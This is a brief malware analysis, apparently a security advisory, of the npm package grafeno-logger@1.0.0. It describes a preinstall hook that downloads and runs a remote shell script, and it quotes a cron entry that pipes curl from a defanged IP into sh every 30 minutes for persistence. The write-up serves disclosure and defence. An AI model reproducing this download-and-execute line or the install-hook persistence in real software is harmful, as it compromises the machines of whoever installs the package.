grafeno-logger@1.0.0

Analysis

The preinstall hook of grafeno-logger@1.0.0 downloads and executes a remote shell script from 216[.]126[.]236[.]46/x.sh via `curl -s ... | sh` using /bin/bash, then installs a cron job that re-runs the same download-and-execute every 30 minutes (`*/30 * * * * curl -s 216[.]126[.]236[.]46/x.sh|sh`). The package contains no legitimate logging code; its entire behaviour is the remote payload fetch and persistence.